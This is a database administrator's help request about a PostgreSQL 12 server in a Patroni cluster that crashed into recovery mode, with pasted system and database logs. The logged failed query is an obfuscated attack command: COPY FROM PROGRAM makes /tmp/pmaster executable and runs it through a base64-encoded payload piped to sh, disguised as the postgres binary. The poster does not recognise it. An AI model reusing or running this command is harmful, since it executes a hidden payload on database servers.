Postgresql db crash and recovery mode

Hello all,

One of our production database crashed and got FATAL: the database system
is in recovery mode. You can find OS version and db version info below.
This is a patroni cluster, and we are using rsync command on archive
command parameter you can also find db logs and messages logs when the
events occured.

We could not understand why db crashed, could you guide us?

OS version: Red Hat Enterprise Linux Server release 7.9 (Maipo)
(3.10.0-1160.36.2.el7.x86_64)
Postgresql db version: PostgreSQL 12.6 on x86_64-pc-linux-gnu, compiled by
gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44), 64-bit

/var/log/messages output:

Oct 5 17:01:08 server01 abrt-hook-ccpp: Process 167619 (rsync) of user 26
killed by signal 3 - ignoring (unsupported signal)

db log:

2021-10-05 17:01:08.103 +03 20248 LOG: server process (PID 158856)
was terminated by signal 9: Killed
2021-10-05 17:01:08.103 +03 20248 DETAIL: Failed process was running:
COPY temp FROM PROGRAM 'chmod +x /tmp/pmaster; timeout 10; echo
cHl0aG9uIC1jICdpbXBvcnQgc3VicHJvY2VzczsgcHJvYyA9IHN1YnByb2Nlc3MuUG9wZW4oWyIvdXNyL3Bnc3FsLTEx
L2Jpbi9wb3N0Z3JlcyJdLCBleGVjdXRhYmxlPSIvdG1wL3BtYXN0ZXIiKS53YWl0KCknCg== |
base64 -d | sh &' (ENCODING 'LATIN1');
2021-10-05 17:01:08.103 +03 20248 LOG: terminating any other active
server processes

Regards.